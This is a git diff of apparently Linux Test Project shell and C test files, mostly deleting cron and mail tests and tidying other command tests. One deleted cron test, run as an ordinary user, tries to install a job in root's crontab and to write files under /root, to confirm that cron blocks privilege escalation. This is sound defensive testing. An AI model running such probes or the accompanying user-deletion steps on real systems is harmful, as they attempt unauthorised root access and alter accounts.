deleted file mode 100755
index 9d32039..0000000
--- a/testcases/commands/cron/cron_deny01
+++ /dev/null
@@ -1,192 +0,0 @@
-#!/bin/bash
-#
-#   Copyright (c) International Business Machines  Corp., 2003
-#
-#   This program is free software;  you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   This program is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#   the GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with this program;  if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-#	FILE: /var/spool/cron/allow
-#
-#	PURPOSE: Test that /var/spool/cron/deny , does not allow those in the file to run cron jobs.
-#
-#	HISTORY:
-#		04/03 Jerone Young (jyoung5@us.ibm.com)
-#
-
-echo "This script contains bashism that needs to be fixed!"
-
-iam=`whoami`
-
-tvar=${MACHTYPE%-*}
-tvar=${tvar#*-}
-
-if [ "$tvar" = "redhat" -o "$tvar" = "redhat-linux" ]
-then
-CRON_DENY="/etc/cron.deny"
-CRON_ALLOW="/etc/cron.allow"
-else
-CRON_DENY="/var/spool/cron/deny"
-CRON_ALLOW="/var/spool/cron/allow"
-fi
-
-TEST_USER1="cd_user1"
-TEST_USER1_HOME="/home/$TEST_USER1"
-TEST_USER2="cd_user2"
-TEST_USER2_HOME="/home/$TEST_USER2"
-
-#-----------------------------------------------------------------------
-# FUNCTION:  do_setup
-#-----------------------------------------------------------------------
-
-do_setup() {
-	#move any files that may get in the way
-	rm /tmp/cron_deny_test > /dev/null 2>&1
-        rm /tmp/cron_deny_test1 > /dev/null 2>&1
-
-	mv $CRON_DENY $CRON_DENY.old > /dev/null 2>&1
-	mv $CRON_ALLOW $CRON_ALLOW.old > /dev/null 2>&1
-
-	#remove users for clean enviroment
-    su $TEST_USER1 -c "crontab -r"
-    su $TEST_USER2 -c "crontab -r"
-        rm -rf /home/$TEST_USER1
-        rm -rf /home/$TEST_USER2
-	userdel $TEST_USER1
-	userdel $TEST_USER2
-	sleep 1
-
-#create 1st user
-	useradd -m -g users $TEST_USER1
-	if [ $? != 0 ]
-    then {
-        echo "Could not add test user $TEST_USER1 to system."
-        exit 1
-    }
-    fi
-
-#create 2nd user
-	useradd -m -g users $TEST_USER2
-    if [ $? != 0 ]
-    then {
-        echo "Could not add test user $TEST_USER2 to system."
-        exit 1
-    }
-    fi
-}
-
-#-----------------------------------------------------------------------
-# FUNCTION:  do_cleanup
-#-----------------------------------------------------------------------
-do_cleanup(){
-    su $TEST_USER1 -c "crontab -r"
-    su $TEST_USER2 -c "crontab -r"
-        rm -rf /home/$TEST_USER1
-        rm -rf /home/$TEST_USER2
-	userdel $TEST_USER1
-	userdel $TEST_USER2
-	rm $CRON_DENY
-	mv $CRON_DENY.old $CRON_DENY > /dev/null 2>&1
-	mv $CRON_ALLOW.old $CRON_ALLOW > /dev/null 2>&1
-	rm /tmp/cron_allow_test >/dev/null 2>&1
-}
-
-#-----------------------------------------------------------------------
-# FUNCTION:  run_test
-#-----------------------------------------------------------------------
-run_test() {
-
-if [ $iam = $TEST_USER1 ]
-then
-	echo "TEST: $CRON_DENY should allow only allow those who are not in the file to
-run cron jobs."
-
-	echo "(1) TEST THAT PERSON NOT IN $CRON_DENY IS ABLE TO RUN JOB."
-
-	crontab - << EOF
-	`date '+%M' | awk '{ORS=""; print ($1+2)%60" * * * * "}'` echo "TEST JOB RAN" >> /tmp/cron_deny_test 2>&1
-EOF
-	if [ $? != 0 ]; then
-	echo Error while adding crontab for user $TEST_USER1
-	exit 1
-	fi
-
-	echo "sleeping for 130 seconds...."
-	sleep 130
-
-	EXIT_CODE=1
-	test -e /tmp/cron_deny_test && EXIT_CODE=0
-
-	if [ $EXIT_CODE = 1 ]; then
-		echo "Cron did not allow user to execute job , TEST FAILED"
-	else
-		echo "Cron allowed user to execute test job, TEST PASSED"
-	fi
-
-	rm -f /tmp/cron_deny_test
-
-	exit $EXIT_CODE
-fi
-
-if [ $iam = $TEST_USER2 ]
-then
-        echo "(2) TEST THAT PERSON IN $CRON_DENY IS NOT ABLE TO RUN JOB."
-
-        crontab - << EOF
-        `date '+%M' | awk '{ORS=""; print ($1+2)%60 " * * * * "}'` echo "TEST JOB RAN" >> /tmp/cron_deny_test 2>&1
-EOF
-        if [ $? != 0 ]; then
-        echo Error while adding crontab for user $TEST_USER2
-        fi
-
-        echo "sleeping for 130 seconds...."
-        sleep 130
-
-        EXIT_CODE=0
-        test -e /tmp/cron_deny_test1 && EXIT_CODE=1
-
-        if [ $EXIT_CODE = 0 ]; then
-                echo "Cron did not allow user to execute job , TEST PASSED"
-        else
-                echo "Cron allowed user to execute test job, TEST FAILED"
-        fi
-
-        rm -f /tmp/cron_deny_test1
-
-        exit $EXIT_CODE
-fi
-
-}
-
-#-----------------------------------------------------------------------
-# FUNCTION: main
-#-----------------------------------------------------------------------
-if [ $iam = "root" ]
-then
-	do_setup
-	echo $TEST_USER2 > $CRON_DENY
-	EXIT_CODE=0
-	su $TEST_USER1 -c "$0"
-	if [ $? != 0 ]
-	then
-	   EXIT_CODE=1
-	fi
-	su $TEST_USER2 -c "$0"
-	if [ $? != 0 ]
-	then EXIT_CODE=1
-	fi
-	do_cleanup
-	exit $EXIT_CODE
-else
-	run_test
-fi
diff --git a/testcases/commands/cron/cron_dirs_check.c b/testcases/commands/cron/cron_dirs_check.c
deleted file mode 100644
index cc9e0ad..0000000
--- a/testcases/commands/cron/cron_dirs_check.c
+++ /dev/null
@@ -1,44 +0,0 @@
-#include <sys/types.h>
-#include <sys/param.h>
-#include <sys/stat.h>
-#include <stdio.h>
-#include <unistd.h>
-
-/* Check directory Access */
-int check_directory_access(char *directory)
-{
-
-	struct stat statbuf;
-
-	printf("Checking %s\n", directory);
-
-	if (stat(directory, &statbuf) == -1) {
-		printf("FAIL: %s. Could not obtain directory status\n",
-		       directory);
-		return 1;
-	}
-
-	if (statbuf.st_uid != 0) {
-		printf("FAIL: %s. Invalid owner\n", directory);
-		return 1;
-	}
-
-	if ((statbuf.st_mode & S_IWGRP) || (statbuf.st_mode & S_IWOTH)) {
-		printf("FAIL: %s. Invalid write access\n", directory);
-		return 1;
-	}
-
-	printf("PASS: %s\n", directory);
-	return 0;
-}
-
-int main(int argc, char *argv[])
-{
-
-	if (argc != 2) {
-		printf("Please enter target directory");
-		return 1;
-	}
-
-	return check_directory_access(argv[1]);
-}
diff --git a/testcases/commands/cron/cron_dirs_checks01 b/testcases/commands/cron/cron_dirs_checks01
deleted file mode 100755
index ea1215e..0000000
--- a/testcases/commands/cron/cron_dirs_checks01
+++ /dev/null
@@ -1,46 +0,0 @@
-#!/bin/sh
-#*********************************************************************
-#   Copyright (c) International Business Machines  Corp., 2000
-#
-#   This program is free software;  you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   This program is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#   the GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with this program;  if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-#  FILE   : cron
-#
-#  PUROPOSE: Ensure that the following directories only have root write access
-#			/etc/cron.d
-#			/etc/cron.daily
-#			/etc/cron.hourly
-#			/etc/cron.monthly
-#			/etc/cron.weekly
-#			/var/spool/cron
-#	HISTORY:
-#		Jerone Young (jyoung5@us.ibm.com)
-#
-
-DIRS="/etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly /var/spool/cron"
-
-EXIT_CODE=0
-for i in $DIRS
-do
-	cron_dirs_check $i
-	if [ $? != 0 ]
-	then
-		echo "$i FAILED TEST!!!!!"
-		EXIT_CODE=1
-	fi
-
-done
-
-exit $EXIT_CODE
diff --git a/testcases/commands/cron/cron_illegal_cron_lines b/testcases/commands/cron/cron_illegal_cron_lines
deleted file mode 100644
index 3b32dc8..0000000
--- a/testcases/commands/cron/cron_illegal_cron_lines
+++ /dev/null
@@ -1,39 +0,0 @@
-# Collection of illegal cron lines
-# Comment lines must habe its '#' as first character.
-# The cron conf line and its description is seperated by '|'.
-# cron job command 'true' is appended automatically
-
-# Illegal Minutes
-61 * * * * | Minute 61
--1 * * * * | Minute -1 (might be interpreted as range)
-0.5 * * * * | Minute 0.5
--1-10 * * * *| Minute Range -1-10
-0-61 * * * * | Minute Range 0-61
-
-# Illegal hours
-0 25 * * * | Hour 25
-0 -2 * * * | Hour -2
-0 3.5 * * *| Hour 3.5
-0 -4-10 * * *| Hour Range -4-10
-0 0-25 * * * | Hour Range 0-25
-
-# Illegal day of month
-0 0 32 * * | Day 32
-0 0 -1 * * | Day -1
-0 0 3.5 * *| Day 3.5
-0 0 -3-3 * *| Day Range -3-3
-0 0 0-32 * *| Day Range 0-32
-
-# Illegal month
-0 0 1 13 * | Month 13
-0 0 1 -1 * | Month -1
-0 0 1 2.5 * | Month 2.5
-0 0 1 -2-3 * | Month Range -2-3
-0 0 1 0-13 * | Month Range 0-13
-
-# Illegal day of week
-0 0 * * 8 | Day of Week 8
-0 0 * * -2 | Day of Week -2
-0 0 * * 2.5 | Day of Week 2.5
-0 0 * * -7-7 | Day of Week Range -7-7
-0 0 * * 0-8 | Day of Week Range 0-8
diff --git a/testcases/commands/cron/cron_neg_tests.sh b/testcases/commands/cron/cron_neg_tests.sh
deleted file mode 100755
index 9c3d6f6..0000000
--- a/testcases/commands/cron/cron_neg_tests.sh
+++ /dev/null
@@ -1,141 +0,0 @@
-#!/bin/bash
-########################################################
-#
-# CHANGE ACTIVITY
-#
-#    10/01/04  Kris Wilson    RHEL4 only allows super user
-#                               to use crontab.
-#                               to use crontab.
-#    12/03/04  Marty Ridgeway Pull RHEl4 tests out from script
-########################################################
-
-iam=`whoami`
-
-if [ $iam = "root" ]; then
-	if [ $# -lt 1 ] ; then
-		echo Either do not run this script as root or start it like
-		echo "  $0 <user>"
-		exit 1
-	fi
-
-	su $1 -c "$0 $*"
-	exit $?
-fi
-
-#
-# 1. root einen cronjob unterjubeln
-#
-
-finalrc=0
-
-
-crontab -u root - << EOF
-0 * * * * true
-EOF
-
-rc=$?
-
-if [ $rc = "0" ]; then
-	echo root has now an interesting cron job
-	echo "crontab has a severe security breach (FAIL)"
-	echo
-	finalrc=1
-else
-	echo "Editing a crontab of another user failed successfully (PASS)"
-	echo
-fi
-
-
-#
-# 2. write some illegal crontabs
-#
-
-# Save crontab
-
-#crontab -l > /dev/null 2> /dev/null
-#if [ $? = "0" ]; then
-#	echo Saving current crontab...
-#	echo
-#	crontab -l > /tmp/save-crontab-`whoami`
-#	savedcrontab=1
-#	crontab -r
-#fi
-
-#for line in `cat cron_illegal_cron_lines | grep '^[^#]' | sed -e 's/[ \t][ \t]*/_/g'` ; do
-#	line=`echo $line | sed -e 's/_/ /g'`
-	# echo Line: "$line"
-#	cronconf=`echo "$line" | cut -f 1 -d '|'`
-#	desc=`echo "$line" | cut -f 2 -d '|'`
-
-#	echo "Test: $desc"
-#	echo "$cronconf true" | crontab -
-	# echo "$cronconf"
-#	if [ $? = "0" ]; then
-#		echo 'Test FAILED (or crontab returned wrong exit code)'
-#		echo 'crontab -l:'
-#		crontab -l
-#		finalrc=1
-#	fi
-#	echo
-#done
-
-
-# Test whether cron uses setuid correctly
-
-echo
-echo setuid test
-echo
-
-tmpscript=cron_neg01_test
-rm -rf $tmpscript.out >/dev/null 2>&1
-
-
-cat > /tmp/$tmpscript << EOF
-touch /root/halloichwarhier
-sleep 1
-cat /root/halloichwarhier ; echo "res:$?"
-rm /root/halloichwarhier
-EOF
-
-chmod 755 /tmp/$tmpscript
-
-#
-cronline=`date '+%M' | awk '{print ($1+2)%60 " * * * * "}'`
-(echo "$cronline /tmp/$tmpscript >> /tmp/$tmpscript.out 2>> /tmp/$tmpscript.out" ; \
- echo "$cronline /tmp/$tmpscript >> /$tmpscript.out 2>> /$tmpscript.out") \
- | crontab -
-
-echo "sleeping 130 secs..."
-sleep 130
-
-echo
-echo "Results:"
-if [ "1" = `cat /tmp/$tmpscript.out | grep "res:0" | wc -l` ]; then
-	echo "setuid test part 1 successfully failed (PASS)"
-else
-	echo "cron executed scripts have root privileges! (FAIL)"
-	finalrc=1
-fi
-
-CODE=0
-test -e /tmp/$tmpscript.out && CODE=1
-if [ $CODE = "1" ]; then
-	echo "setuid test part 2 successfully failed (PASS)"
-else
-	echo "cron writes script output with root privileges! (FAIL)"
-	finalrc=1
-fi
-echo
-
-rm /tmp/$tmpscript* >/dev/null 2>&1
-crontab -r
-
-# Restore crontab
-
-if [ "$savedcrontab" = "1" ]; then
-	echo "Restoring crontab..."
-	cat /tmp/save-crontab-`whoami` | grep '^[^#]' | crontab -
-	# rm -r /tmp/save-crontab-`whoami`
-fi
-
-exit $finalrc
diff --git a/testcases/commands/cron/cron_pos_tests.sh b/testcases/commands/cron/cron_pos_tests.sh
deleted file mode 100755
index ece114c..0000000
--- a/testcases/commands/cron/cron_pos_tests.sh
+++ /dev/null
@@ -1,118 +0,0 @@
-#!/bin/bash
-
-# Positive tests for cron, that means these tests have to pass
-
-iam=`whoami`
-
-tvar=${MACHTYPE%-*}
-tvar=${tvar#*-}
-
-if [ "$tvar" = "redhat" -o "$tvar" = "redhat-linux" ]
-then
-	CRON_ALLOW="/etc/cron.allow"
-else
-	CRON_ALLOW="/var/spool/cron/allow"
-fi
-
-
-if [ $iam = "root" ]; then
-	if [ $# -lt 1 ] ; then
-		echo Either do not run this script as root or start it like
-		echo "  $0 <user>"
-		exit 1
-	fi
-
-	mv $CRON_ALLOW $CRON_ALLOW.old >/dev/null 2>&1
-	su $1 -c "$0 $*"
-        RC=$?
-	mv $CRON_ALLOW.old $CRON_ALLOW >/dev/null 2>&1
-	exit $RC
-fi
-
-function restorecrontab () {
-	test -e /tmp/crontab-save-$iam && \
-		crontab /tmp/crontab-save-$iam && \
-		rm -f /tmp/crontab-save-$iam && \
-		echo restored old crontab
-}
-
-echo Running as user $iam...
-
-# Save current users crontab
-
-test -e /tmp/crontab-save-$iam && rm -f /tmp/crontab-save-$iam
-
-if [ "0" -lt `crontab -l 2>/dev/null | wc -l` ]; then
-
-	echo 'crontab of this user exists -> creating backup'
-	crontab -l | grep '^[^#]' > /tmp/crontab-save-$iam
-fi
-
-
-# Do tests
-
-# 1. Add new job
-
-rm -rf /tmp/crontest >/dev/null 2>&1
-mkdir -p /tmp/crontest
-
-cat > /tmp/crontest/testjob_cron01 << EOF
-echo Testjob running
-date
-EOF
-
-chmod 755 /tmp/crontest/testjob_cron01
-
-crontab - << EOF
-`date '+%M' | awk '{ print ($1+2)%60 " * * * * "
-}'` /tmp/crontest/testjob_cron01 >> /tmp/crontest/output_cron01 2>&1
-EOF
-
-rc=$?
-
-if [ $rc = "1" ]; then
-	echo Error while adding crontab for user $iam
-	restorecrontab
-	exit 1
-fi
-
-echo new job added successfully
-
-# 2. Wait for execution of job
-
-echo 'sleeping for 130 seconds...'
-sleep 130
-
-rc=1
-test -e /tmp/crontest/output_cron01 && rc=0
-
-if [ $rc = "1" ]; then
-	echo Job has not been executed
-	restorecrontab
-	exit 1
-fi
-
-grep "Testjob running" /tmp/crontest/output_cron01
-rc=$?
-if [ $rc = "1" ]; then
-	echo Job has not produced valid output
-	restorecrontab
-fi
-
-echo 'job has been executed :-)'
-echo "testjob's output:"
-echo
-
-rm -rf /tmp/crontest
-
-# 3. Delete crontab
-
-crontab -r
-
-echo removed crontab
-
-# Restore old crontab file
-
-restorecrontab
-
-exit $rc
diff --git a/testcases/commands/cron/cron_tests.sh b/testcases/commands/cron/cron_tests.sh
deleted file mode 100644
index 47614f9..0000000
--- a/testcases/commands/cron/cron_tests.sh
+++ /dev/null
@@ -1,276 +0,0 @@
-#!/bin/sh
-
-# Copyright (c) International Business Machines Corp., 2001
-# Copyright (c) 2017 Petr Vorel <pvorel@suse.cz>
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write the Free Software Foundation,
-# Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-#
-# Author: Manoj Iyer <manjo@mail.utexas.edu>
-
-TST_CNT=3
-TST_TESTFUNC=do_test
-TST_NEEDS_TMPDIR=1
-TST_SETUP=setup
-TST_CLEANUP=cleanup
-. tst_test.sh
-
-. daemonlib.sh
-
-SYSLOG_STARTED=
-CROND_STARTED=
-LOGS=
-
-grep_logs()
-{
-	local pattern="$1"
-	local fail_msg="$2"
-	local pass_msg="${3:-}"
-	local n="${4:-10}"
-
-	local lines=10
-	local out=out.$$
-	local err=err.$$
-	local i ret
-
-	for i in $(seq 1 $n); do
-		if [ "$LOGS" ]; then
-			tail -n $lines $LOGS | grep "$pattern" > $out 2> $err
-		else
-			journalctl -n $lines | grep "$pattern" > $out 2> $err
-		fi
-		ret=$?
-		[ $ret -eq 0 ] && break
-		sleep 1
-	done
-
-	if [ $ret -ne 0 ]; then
-		tst_res TFAIL "$fail_msg: `cat $err`"
-	else
-		[ "$pass_msg" ] && tst_res TPASS "$pass_msg"
-	fi
-}
-
-create_crontab()
-{
-	local crontab=cronjob.cron
-	local script=$1
-	local out=out.$$
-
-	tst_res TINFO "creating crontab: $script"
-
-	cat > $crontab <<EOF
-* * * * * $script
-EOF
-
-	tst_res TINFO "installing crontab file"
-	crontab $crontab > $out 2>&1
-	if [ $? -ne 0 ]; then
-		tst_brk TBROK "crontab: error while installing crontab file: `cat $out`"
-		return 1
-	fi
-	return 0
-}
-
-remove_crontab()
-{
-	local out=out.$$
-	tst_res TINFO "removing crontab file"
-	crontab -r > $out 2>&1
-	if [ $? -ne 0 ]; then
-		tst_brk TBROK "crontab: error while removing crontab file `cat $out`"
-		return 1
-	fi
-	return 0
-}
-
-create_hello_script()
-{
-	local script=$1
-
-	cat > $script <<EOF
-#!/bin/sh
-echo "Hello Hell"
-exit 0
-EOF
-	chmod +x $script
-}
-
-install_cron_test()
-{
-	local script=$PWD/cronprg.sh
-	local cron_out=$PWD/tst1_cron.out
-	local err=err.log
-	local sleep_sec
-	local ts_min1 ts_min2 fail
-
-	tst_res TINFO "test install cron job"
-
-	cat > $script <<EOF
-#! /bin/sh
-DATE=\`LC_ALL=C date\`
-echo "Hello Hell today is \$DATE" > $cron_out 2>&1
-exit 0
-EOF
-	chmod +x $script
-
-	create_crontab $script 2> $err
-
-	if [ $? -ne 0 ]; then
-		tst_brk TBROK "crontab: error while creating cron job: `cat $err`"
-	else
-		tst_res TINFO "cron job installed successfully"
-	fi
-
-	grep_logs 'crontab.*REPLACE' \
-		"cron activity not recorded" \
-		"cron activity logged"
-
-	# Sleep 3s after next minute since the loop below sleeps for 62 seconds, we
-	# should start this 5-iteration loop closely following the start of a
-	# minute.
-	sleep_sec=$((123-`date +%-S`))
-	tst_res TINFO "sleep for ${sleep_sec}s"
-	sleep $sleep_sec
-
-	# $script executed by the cron job will record the date and time into file
-	# $cron_out. Get the minute recorded by the program, sleep to allow the cron
-	# job to update file after 1m, and check if the value is advanced by 1.
-	for i in $(seq 1 5); do
-		tst_res TINFO "loop: $i: start"
-
-		if [ ! -f "$cron_out" ]; then
-			tst_res TFAIL "loop $i: file $cron_out doesn't exist"
-			fail=1
-			break
-		fi
-
-		ts_min1=$(awk '{print $8}' $cron_out | awk -F: '{printf("%d", $2);}')
-
-		# wait for the cron job to update output file
-		sleep 62
-
-		# Check the time recorded in output file, this should be 1 minute ahead of
-		# what was recored earlier.
-		ts_min2=$(awk '{print $8}' $cron_out | awk -F: '{printf("%d", $2);}')
-
-		if [ "x${ts_min1}" = "x" ] || [ "x${ts_min2}" = "x" ]; then
-			tst_res TFAIL "loop $i: failed to get time: ts_min1: $ts_min1, ts_min2: $ts_min2"
-			fail=1
-			break
-		fi
-
-		[ $ts_min1 -eq 59 ] && ts_min1=0 || ts_min1=$(( $ts_min1+1 ))
-
-		if [ $ts_min2 -ne $ts_min1 ]; then
-			tst_res TFAIL "loop $i: failed to update every minute: expected: $ts_min1, received: $ts_min2"
-			fail=1
-			break
-		fi
-	done
-
-	if [ ! "$fail" ]; then
-		grep_logs "CMD ($script)" \
-			"failed to install cron job installed and execute it" \
-			"cron job installed and executed" 1
-	fi
-
-	remove_crontab
-}
-
-remove_cron_job_test()
-{
-	local script=$PWD/cronprg.sh
-
-	tst_res TINFO "test remove cron job"
-
-	create_hello_script $script
-	create_crontab $script
-
-	grep_logs 'crontab.*REPLACE' \
-		"crontab activity not recorded"
-
-	remove_crontab && grep_logs DELETE \
-		"crontab activity not recorded" \
-		"crontab removed the cron job" 1
-}
-
-list_cron_jobs_test()
-{
-	local script=$PWD/cronprg.sh
-	local out=cron.out
-
-	tst_res TINFO "test list installed cron jobs"
-
-	create_hello_script $script
-	create_crontab $script
-
-	tst_res TINFO "crontab: listing cron jobs"
-	crontab -l | grep "$script" > $out 2>&1 || \
-		tst_brk TBROK "crontab failed while listing installed cron jobs: `cat $out`"
-
-	remove_crontab
-
-	crontab -l > $out 2>&1
-	if [ $? -ne 0 ]; then
-		grep -q "no crontab for" $out
-		if [ $? -ne 0 ]; then
-			tst_res TFAIL "crontab failed removing cron job: `cat $out`"
-		else
-			tst_res TPASS "crontab did not list any cron jobs"
-		fi
-	else
-		tst_res TFAIL "crontab failed removing cron job: `cat $out`"
-	fi
-}
-
-setup()
-{
-	if [ "$SYSLOG_DAEMON" ]; then
-		status_daemon $SYSLOG_DAEMON
-		if [ $? -ne 0 ]; then
-			restart_daemon $SYSLOG_DAEMON
-			SYSLOG_STARTED=1
-		fi
-	fi
-
-	if [ "$CROND_DAEMON" ]; then
-		status_daemon $CROND_DAEMON
-		if [ $? -ne 0 ]; then
-			restart_daemon $CROND_DAEMON
-			CROND_STARTED=1
-		fi
-	fi
-
-	for f in /var/log/syslog /var/log/messages /var/log/cron /var/log/cron.log; do
-		[ -f "$f" ] && LOGS="$f $LOGS"
-	done
-}
-
-cleanup()
-{
-	[ "$SYSLOG_STARTED" = "1" ] && stop_daemon $SYSLOG_DAEMON
-	[ "$CROND_STARTED" = "1" ] && stop_daemon $CROND_DAEMON
-}
-
-do_test()
-{
-	case $1 in
-	1) install_cron_test;;
-	2) remove_cron_job_test;;
-	3) list_cron_jobs_test;;
-	esac
-}
-
-tst_run
diff --git a/testcases/commands/df/df01.sh b/testcases/commands/df/df01.sh
index 0552327..ecd66fb 100755
--- a/testcases/commands/df/df01.sh
+++ b/testcases/commands/df/df01.sh
@@ -49,6 +49,12 @@
 
 setup()
 {
+	local ret
+
+	if [ -n "$FS_TYPE" ]; then
+		tst_test_cmds mkfs.${FS_TYPE}
+	fi
+
 	tst_mkfs ${FS_TYPE} ${TST_DEVICE}
 
 	ROD_SILENT mkdir -p mntpoint
@@ -73,7 +79,7 @@
 
 df_test()
 {
-	cmd="$1 -P"
+	local cmd="$1 -P"
 
 	df_verify $cmd
 	if [ $? -ne 0 ]; then
@@ -209,7 +215,7 @@
 
 test12()
 {
-	cmd="df -x ${DF_FS_TYPE} -P"
+	local cmd="df -x ${DF_FS_TYPE} -P"
 
 	df_verify $cmd
 	if [ $? -ne 0 ]; then
diff --git a/testcases/commands/du/du01.sh b/testcases/commands/du/du01.sh
index ed1df56..c750682 100755
--- a/testcases/commands/du/du01.sh
+++ b/testcases/commands/du/du01.sh
@@ -73,7 +73,7 @@
 }
 
 block_size=512
-page_size=$(getconf PAGESIZE)
+page_size=$(tst_getconf PAGESIZE)
 if [ "$page_size" -lt 1024 ]; then
 	tst_brk TBROK "Page size < 1024"
 fi
diff --git a/testcases/commands/file/datafiles/in.py b/testcases/commands/file/datafiles/in.py
index 26f54ff..5fd48ce 100755
--- a/testcases/commands/file/datafiles/in.py
+++ b/testcases/commands/file/datafiles/in.py
@@ -1,3 +1,3 @@
-#!/usr/bin/python
+#!/usr/bin/env python3
 
 print("This is a test.")
diff --git a/testcases/commands/file/file01.sh b/testcases/commands/file/file01.sh
index e04b32e..0a8119e 100755
--- a/testcases/commands/file/file01.sh
+++ b/testcases/commands/file/file01.sh
@@ -28,6 +28,8 @@
 TST_SETUP=setup
 TST_TESTFUNC=do_test
 TST_NEEDS_TMPDIR=1
+TST_NEEDS_CMDS="readelf"
+
 . tst_test.sh
 
 setup()
@@ -84,8 +86,8 @@
 	 7) file_test in.pl "[pP]erl script, ASCII text executable" \
 			    "[pP]erl script text executable" \
 			    "a /usr/bin/perl script text";;
-	 8) file_test in.py "[pP]ython script, ASCII text executable" \
-			    "[pP]ython script text executable";;
+	 8) file_test in.py "[pP]ython3\{0,1\} script, ASCII text executable" \
+			    "[pP]ython3\{0,1\} script text executable";;
 	 9) file_test in.m4 "M4 macro processor script, ASCII text" \
 			    "ASCII M4 macro language pre-processor text";;
 	10) file_test in "ELF .*-bit $TEST_ARCH executable, .*" \
diff --git a/testcases/commands/keyctl/keyctl01.sh b/testcases/commands/keyctl/keyctl01.sh
index 650e7f4..3fda389 100644
--- a/testcases/commands/keyctl/keyctl01.sh
+++ b/testcases/commands/keyctl/keyctl01.sh
@@ -113,7 +113,7 @@
 			tst_sleep 50ms
 		fi
 
-		((maxkeysz -= 4))
+		maxkeysz=$((maxkeysz - 4))
 	done
 
 	if [ $quota_excd -eq 0 ]; then
diff --git a/testcases/commands/logrotate/logrotate_tests.sh b/testcases/commands/logrotate/logrotate_tests.sh
index f5a22dd..1052377 100755
--- a/testcases/commands/logrotate/logrotate_tests.sh
+++ b/testcases/commands/logrotate/logrotate_tests.sh
@@ -97,10 +97,11 @@
 		 return $RC
 	fi
 
-	# check if commands tst_*, logrotate, awk exists.
+	# check if commands tst_*, logrotate, awk and file exists.
 	chk_ifexists INIT tst_resm  || return $RC
 	chk_ifexists INIT logrotate || return $RC
 	chk_ifexists INIT awk       || return $RC
+	chk_ifexists INIT file      || return $RC
 
 	return $RC
 }
@@ -153,6 +154,10 @@
 	tst_resm TINFO "Test #1: 1. rotate /var/log/tst_logfile file."
 	tst_resm TINFO "Test #1: 2. compresses it."
 
+	# Check if syslog group exists
+	local group="syslog"
+	grep -q $group /etc/group || group="root"
+
 	# create config file.
 	cat >$LTPTMP/tst_logrotate.conf <<-EOF
 	#****** Begin Config file *******
@@ -163,6 +168,7 @@
 	compress
 
 	/var/log/tst_logfile {
+		su root $group
 		rotate 5
 		weekly
 	}
@@ -206,7 +212,7 @@
 			$LTPTMP/tst_logrotate.out   > $LTPTMP/tst_logrotate.err 2>&1 || RC=$?
 		if [ $RC -ne 0 ]
 		then
-			tst_res TFAIL > $LTPTMP/tst_logrotate.err 2>&1 \
+			tst_res TFAIL $LTPTMP/tst_logrotate.err \
 				"Test #1: logrotate command failed. Reason:"
 		else
 			# Check if compressed log file is created.
diff --git a/testcases/commands/mail/00_Descriptions.txt b/testcases/commands/mail/00_Descriptions.txt
deleted file mode 100644
index 3e25e45..0000000
--- a/testcases/commands/mail/00_Descriptions.txt
+++ /dev/null
@@ -1,14 +0,0 @@
-mail01
-	Test that mail user@domain will send a mail to that user at that domain.
-
-mail02
-	Test that mail user@bad-domain will result in a warning from the mailer daemon that the domain does not exist.
-
-mail03
-	Test that mail non_existent_user@localhost will result in delivery failure.  Mailer-Daemon will report this failure.
-
-mail04
-	Test that mail -c user@domain option will carbon copy that user.
-
-mail05
-	Test that mail -b user@domain option will blind carbon copy that user.
diff --git a/testcases/commands/mail/Makefile b/testcases/commands/mail/Makefile
deleted file mode 100644
index 650790c..0000000
--- a/testcases/commands/mail/Makefile
+++ /dev/null
@@ -1,31 +0,0 @@
-#
-#    commands/mail testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Ngie Cooper, July 2009
-#
-
-top_srcdir		?= ../../..
-
-include $(top_srcdir)/include/mk/env_pre.mk
-
-INSTALL_TARGETS		:= mail_tests.sh
-
-MAKE_TARGETS		:=
-
-include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/commands/mail/mail_tests.sh b/testcases/commands/mail/mail_tests.sh
deleted file mode 100755
index 7cd5531..0000000
--- a/testcases/commands/mail/mail_tests.sh
+++ /dev/null
@@ -1,378 +0,0 @@
-#!/bin/sh
-################################################################################
-##										##
-## Copyright (c) International Business Machines  Corp., 2001			##
-##										##
-## This program is free software;  you can redistribute it and#or modify	##
-## it under the terms of the GNU General Public License as published by	   	##
-## the Free Software Foundation; either version 2 of the License, or		##
-## (at your option) any later version.						##
-##										##
